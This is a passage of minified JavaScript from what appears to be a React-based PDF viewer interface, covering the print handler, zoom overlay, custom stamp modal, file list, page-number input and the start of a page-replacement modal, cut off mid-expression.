vt.removeEventListener("documentLoaded",e)}})),n?null:s.a.createElement("div",{className:js()({PrintHandler:e,"ios-print":Mt})},r&&i===zu?s.a.createElement("iframe",{id:"print-handler",tabIndex:-1}):s.a.createElement("div",{id:"print-handler"}))},MD=function(){var e=le((function(e){return fi.getSignatureFonts(e)}));return s.a.createElement("div",{style:{opacity:0}},e.map((function(e){return s.a.createElement("span",{key:e,style:{fontFamily:e}})})))};n(1089);function RD(e){return(RD="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function jD(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function LD(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function ID(e,t){return(ID=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function ND(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=FD(e);if(t){var o=FD(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return DD(this,n)}}function DD(e,t){if(t&&("object"===RD(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e)}function FD(e){return(FD=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var BD=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&ID(e,t)}(i,e);var t,n,r,o=ND(i);function i(){return jD(this,i),o.apply(this,arguments)}return t=i,(n=[{key:"render",value:function(){var e=this.props,t=e.buttonName,n=e.role,r=e.selected;return s.a.createElement("button",{className:js()({OverlayItem:!0,selected:r}),onClick:this.props.onClick,"aria-label":t,role:n},s.a.createElement("div",{className:"ButtonText"},t))}}])&&LD(t.prototype,n),r&&LD(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);!function(e,t,n){t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n}(BD,"propTypes",{onClick:Is.a.func,buttonName:Is.a.string,role:Is.a.string,selected:Is.a.bool});var HD=BD;n(1090);function VD(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return zD(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return zD(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function zD(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var UD={zoomList:Is.a.arrayOf(Is.a.number).isRequired,currentZoomLevel:Is.a.number.isRequired,isReaderMode:Is.a.bool.isRequired,isMarqueeZoomActive:Is.a.bool.isRequired,onClickZoomLevelOption:Is.a.func.isRequired,onClickMarqueeZoom:Is.a.func.isRequired,fitToWidth:Is.a.func.isRequired,fitToPage:Is.a.func.isRequired,isMarqueeToolButtonDisabled:Is.a.bool};function GD(e){var t=VD(Ks(),1)[0],n=e.zoomList,r=e.currentZoomLevel,o=e.isReaderMode,i=e.isMarqueeZoomActive,a=e.fitToWidth,l=e.fitToPage,u=e.onClickZoomLevelOption,c=e.onClickMarqueeZoom,f=e.isMarqueeToolButtonDisabled;return s.a.createElement(s.a.Fragment,null,s.a.createElement(bf,{className:"ZoomItem",img:"icon-header-zoom-fit-to-width",label:t("action.fitToWidth"),ariaLabel:t("action.fitToWidth"),role:"option",onClick:a}),!o&&s.a.createElement(bf,{className:"ZoomItem",img:"icon-header-zoom-fit-to-page",label:t("action.fitToPage"),ariaLabel:t("action.fitToPage"),role:"option",onClick:l}),s.a.createElement("div",{className:"divider"}),n.map((function(e,t){return s.a.createElement(HD,{key:t,onClick:function(){return u(e)},buttonName:"".concat(100*e,"%"),selected:r===e,role:"option"})})),!o&&s.a.createElement(s.a.Fragment,null,!f&&s.a.createElement("div",{className:"dividerSmall"}),s.a.createElement("div",{onClick:function(){return c()}},s.a.createElement(kf,{className:js()({ZoomItem:!0,selected:i}),role:"option",toolName:"MarqueeZoomTool",label:t("tool.Marquee"),img:"icon-header-zoom-marquee"}))))}GD.propTypes=UD;var WD=GD;function qD(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return ZD(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return ZD(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function ZD(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var YD=function(e){var t=re(),n=qD(Ks(),1)[0];return s.a.createElement(Lp,{menu:"zoomOverlay",trigger:"zoomOverlayButton",ariaLabel:n("component.zoomOverlay")},s.a.createElement(WD,{zoomList:le(fi.getZoomList),currentZoomLevel:le(fi.getZoom),isReaderMode:le(fi.isReaderMode),isMarqueeZoomActive:"MarqueeZoomTool"===le(fi.getActiveToolName),isMarqueeToolButtonDisabled:le((function(e){return fi.isElementDisabled(e,"marqueeToolButton")})),fitToWidth:Ru,fitToPage:ju,onClickZoomLevelOption:function(e){Nu(e),t(Ps.closeElements(["zoomOverlay"]))},onClickMarqueeZoom:function(){t(Ps.closeElements(["zoomOverlay"]))}}))};n(1091);function $D(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function KD(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?$D(Object(n),!0).forEach((function(t){XD(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$D(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function XD(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function QD(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return JD(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return JD(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function JD(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var eF={date:"MM/DD/YYYY",time:"hh:mm A",timeFirst:!1},tF=function(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],n=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];return t?n?e.timeFirst?"".concat(e.time," ").concat(e.date):"".concat(e.date," ").concat(e.time):e.date?e.date:"":e.time?e.time:""},nF={state:Is.a.object,setState:Is.a.func,setEmptyInput:Is.a.func,fonts:Is.a.array,openColorPicker:Is.a.func,getCustomColorAndRemove:Is.a.func,openDeleteModal:Is.a.func,dateTimeFormats:Is.a.array,stampTool:Is.a.object,userName:Is.a.string},rF=function(e){var t=e.state,n=e.setState,r=e.setEmptyInput,o=e.fonts,i=e.openColorPicker,a=e.getCustomColorAndRemove,u=e.openDeleteModal,c=e.dateTimeFormats,f=e.stampTool,d=e.userName,p=function(e,t,n){var r="";return e&&(r+="[$currentUser] "),t&&(r+=n),r},h=c&&c[0]?c[0]:eF,m=QD(Object(l.useState)(tF(h)),2),g=m[0],v=m[1],y=QD(Object(l.useState)(!0),2),b=y[0],w=y[1],E=QD(Object(l.useState)(!0),2),S=E[0],C=E[1],x=QD(Object(l.useState)(!0),2),O=x[0],A=x[1],_=QD(Object(l.useState)("Draft"),2),T=_[0],k=_[1],P=QD(Ks(),1)[0],M=p(b,S,g),R=QD(Object(l.useState)(M),2),j=R[0],L=R[1],I=Object(l.useRef)(),N=Object(l.useRef)(),D=Object(l.useRef)(),F=function(e,r){var o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:t,i={canvas:I.current,title:e,subtitle:r,width:300,height:100,color:o.color,textColor:o.textColor,canvasParent:N.current,font:o.font,bold:o.bold,italic:o.italic,underline:o.underline,strikeout:o.strikeout},a=f.drawCustomStamp(i),l=I.current.toDataURL();n(KD(KD({},o),{},{width:a,title:e,subtitle:r,height:i.height,dataURL:l}))};Object(l.useEffect)((function(){F(T,j,t)}),[d]);var B=function(e){F(T,j,KD(KD({},t),{},XD({},e,!t[e])))},H=P("option.customStampModal.stampText"),V=function(e){return e&&e.A?e.toHexString().toLowerCase():"#000000"},z=function(e,n){var r="text"===n;i();window.instance.UI.addEventListener(Ht.VISIBILITY_CHANGED,(function e(n){var o=n.detail,i=o.element,l=o.isVisible;if("ColorPickerModal"===i&&!l){var s=a();if(s){var u=V(s);r?oe(u):$(u);var c=window.Core.Tools.RubberStampCreateTool[r?"TEXT_COLORS":"FILL_COLORS"];c.push(u),r?te(c):q(c),t=KD(KD({},t),{},XD({},r?"textColor":"color",u)),F(T,j,t)}}window.instance.UI.removeEventListener(Ht.VISIBILITY_CHANGED,e)}))},U=function(e){var t="text"===e;u((function(){var e=t?ee.filter((function(e){return e!==ae})):W.filter((function(e){return e!==X}));t?te(e):q(e),t?le(null):Q(null),window.Core.Tools.RubberStampCreateTool[t?"TEXT_COLORS":"FILL_COLORS"]=e}))},G=QD(Object(l.useState)(window.Core.Tools.RubberStampCreateTool.FILL_COLORS),2),W=G[0],q=G[1],Z=QD(Object(l.useState)(window.Core.Tools.RubberStampCreateTool.FILL_COLORS[0]),2),Y=Z[0],$=Z[1],K=QD(Object(l.useState)(null),2),X=K[0],Q=K[1],J=QD(Object(l.useState)(window.Core.Tools.RubberStampCreateTool.TEXT_COLORS),2),ee=J[0],te=J[1],ne=QD(Object(l.useState)(window.Core.Tools.RubberStampCreateTool.TEXT_COLORS[0]),2),re=ne[0],oe=ne[1],ie=QD(Object(l.useState)(null),2),ae=ie[0],le=ie[1],se=function(e){oe(e),t=KD(KD({},t),{},{textColor:e}),F(T,j,t)},ue=function(e){$(e),t=KD(KD({},t),{},{color:e}),F(T,j,t)},ce=c||[eF],fe=Array.from(new Set(ce.map((function(e){return tF(e,S,O)})))).filter((function(e){return""!==e}));return s.a.createElement("div",{className:"text-customstamp"},s.a.createElement("div",{className:"canvas-container",ref:N},s.a.createElement("canvas",{className:"custom-stamp-canvas",ref:I})),s.a.createElement("div",{className:"scroll-container"},s.a.createElement("div",{className:"stamp-input-container"},s.a.createElement("div",{className:"stamp-label"}," ",H," "),s.a.createElement("input",{className:"text-customstamp-input",ref:D,type:"text","aria-label":H.substring(0,H.length-1),value:T,onChange:function(e){var t=e.target.value||"";k(t),r(!t),F(t,j)}}),!T&&s.a.createElement("div",{className:"empty-stamp-input"},P("message.emptyCustomStampInput"))),s.a.createElement("div",{className:"font-container"},s.a.createElement("div",{className:"stamp-sublabel"}," ",P("option.customStampModal.fontStyle")," "),s.a.createElement("div",{className:"font-inner-container"},s.a.createElement(ky,{items:o,onClickItem:function(e){F(T,j,KD(KD({},t),{},{font:e}))},currentSelectionKey:t.font||o[0],isFont:!0}),s.a.createElement(bf,{dataElement:"stampTextBoldButton",onClick:function(){return B("bold")},img:"icon-menu-bold",title:"option.richText.bold",isActive:t.bold}),s.a.createElement(bf,{dataElement:"stampTextItalicButton",onClick:function(){return B("italic")},img:"icon-menu-italic",title:"option.richText.italic",isActive:t.italic}),s.a.createElement(bf,{dataElement:"stampTextUnderlineButton",onClick:function(){return B("underline")},img:"icon-menu-text-underline",title:"option.richText.underline",isActive:t.underline}),s.a.createElement(bf,{dataElement:"stampTextStrikeoutButton",onClick:function(){return B("strikeout")},img:"icon-tool-text-manipulation-strikethrough",title:"option.richText.strikeout",isActive:t.strikeout}))),s.a.createElement("div",{className:"color-container"},s.a.createElement("div",{className:"stamp-sublabel"},P("option.customStampModal.textColor")),s.a.createElement("div",{className:"colorpalette-container"},s.a.createElement(ev,{getHexColor:V,color:re,setColorToBeDeleted:le,colorToBeDeleted:ae,customColors:ee,onStyleChange:oe,handleColorOnClick:se,handleOnClick:se,openColorPicker:function(e){return z(0,"text")},openDeleteModal:function(){return U("text")},disableTitle:!0,enableEdit:!0,colorsAreHex:!0}))),s.a.createElement("div",{className:"color-container"},s.a.createElement("div",{className:"stamp-sublabel"},P("option.customStampModal.backgroundColor")),s.a.createElement("div",{className:"colorpalette-container"},s.a.createElement(ev,{getHexColor:V,color:Y,setColorToBeDeleted:Q,colorToBeDeleted:X,customColors:W,onStyleChange:$,handleColorOnClick:ue,handleOnClick:ue,openColorPicker:function(e){return z(0,"fill")},openDeleteModal:function(){return U("fill")},disableTitle:!0,enableEdit:!0,colorsAreHex:!0}))),s.a.createElement("div",{className:"timestamp-container"},s.a.createElement("div",{className:"stamp-sublabel"}," ",P("option.customStampModal.timestampText")," "),s.a.createElement("div",{className:"timeStamp-choice"},s.a.createElement(X_,{id:"default-username",checked:b,onChange:function(){w(!b);var e=p(!b,S,g);L(e),F(T,e)},label:P("option.customStampModal.Username")}),s.a.createElement(X_,{id:"default-date",checked:S,onChange:function(){C(!S);var e=tF(h,!S,O);v(e);var t=p(b,!S||O,e);L(t),F(T,t)},label:P("option.customStampModal.Date")}),s.a.createElement(X_,{id:"default-time",checked:O,onChange:function(){A(!O);var e=tF(h,S,!O);v(e);var t=p(b,S||!O,e);L(t),F(T,t)},label:P("option.customStampModal.Time")}))),(S||O)&&s.a.createElement("div",{className:"date-format-container"},s.a.createElement("div",{className:"stamp-sublabel"},P("option.customStampModal.dateFormat")),s.a.createElement("div",{className:"hover-icon"},s.a.createElement(cf,{glyph:"icon-info"}),s.a.createElement("div",{className:"date-format-description"},s.a.createElement("div",{className:"date-format-cell"},"M = ",P("option.customStampModal.month")),s.a.createElement("div",{className:"date-format-cell"},"D = ",P("option.customStampModal.day")),s.a.createElement("div",{className:"date-format-cell"},"Y = ",P("option.customStampModal.year")),s.a.createElement("div",{className:"date-format-cell"},"H = ",P("option.customStampModal.hour")," (24hr)"),s.a.createElement("div",{className:"date-format-cell"},"h = ",P("option.customStampModal.hour")," (12hr)"),s.a.createElement("div",{className:"date-format-cell"},"m = ",P("option.customStampModal.minute")),s.a.createElement("div",{className:"date-format-cell"},"s = ",P("option.customStampModal.second")),s.a.createElement("div",{className:"date-format-cell"},"A = AM/PM"))),s.a.createElement(ky,{items:fe,currentSelectionKey:g,onClickItem:function(e){v(e);var t=p(b,S||O,e);L(t),F(T,t)}}))))};rF.propTypes=nF;var oF=rF;n(1092);function iF(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function aF(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){iF(i,r,o,a,l,"next",e)}function l(e){iF(i,r,o,a,l,"throw",e)}a(void 0)}))}}function lF(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return sF(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return sF(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function sF(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var uF=function(){var e=lF(Object(l.useState)({font:"Helvetica",bold:!0}),2),t=e[0],n=e[1],r=vt.getTool("AnnotationCreateRubberStamp"),o=lF(Ks(),1)[0],i=te(),a=lF(Object(l.useState)(!1),2),u=a[0],c=a[1],f=lF(le((function(e){return[fi.isElementOpen(e,"customStampModal"),fi.getFonts(e),fi.getDateTimeFormats(e),fi.getUserName(e)]})),4),d=f[0],p=f[1],h=f[2],m=f[3],g=re(),v=function(){g(Ps.closeElement("customStampModal"))},y=function(){var e=aF(regeneratorRuntime.mark((function e(t){var n,r,i,a;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:n=o("warning.colorPicker.deleteMessage"),r=o("warning.colorPicker.deleteTitle"),i=o("action.ok"),a={message:n,title:r,confirmBtnText:i,onConfirm:t},g(Ps.showWarningMessage(a));case 5:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}(),b=js()({Modal:!0,CustomStampModal:!0,open:d,closed:!d}),w=function(){var e=aF(regeneratorRuntime.mark((function e(){var n,o,i;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return vt.setToolMode("AnnotationCreateRubberStamp"),r.addCustomStamp(t),e.next=4,r.createCustomStampAnnotation(t);case 4:return n=e.sent,e.next=7,r.setRubberStamp(n);case 7:r.showPreview(),g(Ps.closeElement("customStampModal")),o=r.getStandardStamps().length,i=r.getCustomStamps().length,g(Ps.setSelectedStampIndex(o+i-1));case 12:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}();return d?s.a.createElement("div",{className:b,"data-element":"customStampModal"},s.a.createElement(Jp,{locked:d},s.a.createElement("div",{className:"container",onMouseDown:function(e){return e.stopPropagation()}},s.a.createElement("div",{className:"header"},s.a.createElement("p",null,o("option.customStampModal.modalName")),s.a.createElement(bf,{dataElement:"customStampModalCloseButton",title:"action.close",img:"ic_close_black_24px",onClick:v})),s.a.createElement(oF,{openDeleteModal:y,getCustomColorAndRemove:function(){var e=fi.getCustomColor(i.getState());return g(Ps.setCustomColor(null)),e},openColorPicker:function(){g(Ps.openElement("ColorPickerModal"))},isModalOpen:d,state:t,setState:n,closeModal:v,setEmptyInput:c,fonts:p,dateTimeFormats:h,stampTool:r,userName:m}),s.a.createElement("div",{className:"footer"},s.a.createElement("div",{className:u?"stamp-create stamp-create-disabled":"stamp-create",onClick:function(){u||w()}},o("action.create")))))):null};n(1093);function cF(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return fF(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return fF(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function fF(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var dF=function(e){var t=e.defaultValue,n=e.onFileSelect,r=e.list,o=void 0===r?[]:r,i=(cF(Ks(),1)[0],(t||{}).id),a=o.map((function(e,t){var r=i===e.id,a=js()({selected:r}),l=function(e){if(e.hasOwnProperty("thumbnail")){var t=null,n=e.thumbnail;n.url?t=n.url:n.toDataURL&&(t=n.toDataURL());var r=s.a.createElement("img",{src:t,className:"li-div-img"});return s.a.createElement("div",{className:"li-div"},r)}return null}(e);return s.a.createElement("li",{tabIndex:"0",key:t,onClick:function(){return function(e){n(o.find((function(t){return t.id===e})))}(e.id)},onKeyDown:function(t){return function(e,t){"Enter"===e.key&&n(o.find((function(e){return e.id===t})))}(t,e.id)},className:a},l,s.a.createElement("div",{className:"li-div-txt"},e.filename))}));return s.a.createElement("div",{className:"FileListPanel"},s.a.createElement("ul",null,a))},pF=(n(1094),function(e){var t,n=e.onChange,r=e.checked,o=e.index,i=e.thumbnail,a=null;i&&(i.currentSrc?t=i.currentSrc:i.url?t=i.url:i.toDataURL&&(t=i.toDataURL()),a=s.a.createElement("img",{className:"thumb-card-img",alt:"img_name",src:t}));return s.a.createElement("div",{className:"thumb-card",onClick:n},s.a.createElement(ry,{id:"custom-checkbox-".concat(o),className:"thumb-card-ck",name:"thumb"+o,checked:r}),s.a.createElement("div",{className:"thumb-card-body"},a),s.a.createElement("div",{className:"thumb-card-title"},o+1))});n(1095);function hF(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return mF(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return mF(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function mF(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var gF={selectedPageNumbers:Is.a.arrayOf(Is.a.number),pageCount:Is.a.number,onSelectedPageNumbersChange:Is.a.func,onBlurHandler:Is.a.func,placeholder:Is.a.string},vF=function(){};function yF(e){var t=e.selectedPageNumbers,n=e.onSelectedPageNumbersChange,r=e.onBlurHandler,o=void 0===r?vF:r,i=e.pageCount,a=e.placeHolder,u=e.onError,c=void 0===u?vF:u,f=Array.from({length:i},(function(e,t){return(t+1).toString()})),d=hF(Object(l.useState)(""),2),p=d[0],h=d[1];Object(l.useEffect)((function(){t&&h(m(t))}),[t]);var m=function(e){for(var t="",n=e.sort((function(e,t){return e-t})),r=null,o=0;n.length>o;o++)n[o+1]===n[o]+1?r=null!==r?r:n[o]:null!==r?(t="".concat(t).concat(r,"-").concat(n[o],", "),r=null):t="".concat(t).concat(n[o],", ");return t.slice(0,-2)};return s.a.createElement("input",{className:"page-number-input",type:"text",onChange:function(e){h(e.target.value);var t=e.target.value.replace(/ /g,""),r=t?MO(t,f,i,c):[];n&&n(r)},onBlur:function(e){var t=e.target.value.replace(/ /g,""),n=t?MO(t,f,i,c):[],r=m(n);h(r),o&&o(n)},value:p,placeholder:a})}yF.propTypes=gF;var bF=yF;n(1096);function wF(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function EF(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?wF(Object(n),!0).forEach((function(t){SF(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):wF(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function SF(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function CF(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function xF(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){CF(i,r,o,a,l,"next",e)}function l(e){CF(i,r,o,a,l,"throw",e)}a(void 0)}))}}function OF(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return AF(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return AF(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function AF(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var _F=s.a.forwardRef((function(e,t){var n=e.closeThisModal,r=e.pageIndicesToReplace,o=e.sourceDocument,i=e.replacePagesHandler,a=e.documentInViewer,u=OF(Ks(),1)[0],c=OF(Object(l.useState)(r.map((function(e){return e+1}))),2),f=c[0],d=c[1],p=OF(Object(l.useState)({}),2),h=p[0],m=p[1],g=OF(Object(l.useState)([]),2),v=g[0],y=g[1],b=OF(Object(l.useState)(!0),2),w=b[0],E=b[1],S=OF(Object(l.useState)(0),2),C=S[0],x=S[1],O=OF(Object(l.useState)(null),2),A=O[0],_=O[1],T=OF(Object(l.useState)(null),2),k=T[0],P=T[1],M=OF(Object(l.useState)(0),2),R=M[0],j=M[1];Object(l.useEffect)((function(){function e(){return(e=xF(regeneratorRuntime.mark((function e(){var t,n,r,i,a,l;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:for(t=[],n=o.getPageCount(),j(n),r=[],i=function(e){var n=new Promise((function(n){o.loadThumbnail(e,(function(r){var o;o=r.currentSrc?{pageNumber:e,currentSrc:r.currentSrc}:{pageNumber:e,url:r.toDataURL()},t.push(o),x(e),n()}))}));r.push(n)},a=1;a<=n;a++)i(a);return e.next=8,Promise.all(r);case 8:l=t.sort((function(e,t){return e.pageNumber-t.pageNumber})),y(l),E(!1);case 11:case"end":return e.stop()}}),e)})))).apply(this,arguments)}function t(e){return e.length>25?'"'.concat(e.slice(0,10),"...").concat(e.slice(e.length-10),'"'):'"'.concat(e,'"')}o&&(!function(){e.apply(this,arguments)}(),_(t(o.getFilename())),P(t(a.getFilename())))}),[o]);var L=function(){var e=[];for(var t in h)h[t]&&e.push(parseInt(t));return e},I=a.getPageCount();return s.a.createElement("div",{className:"container",onMouseDown:function(e){return e.stopPropagation()},ref:t},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement("div",{className:"header"},u("component.pageReplaceModalTitle"),s.a.createElement(bf,{img:"icon-close",onClick:function(){return 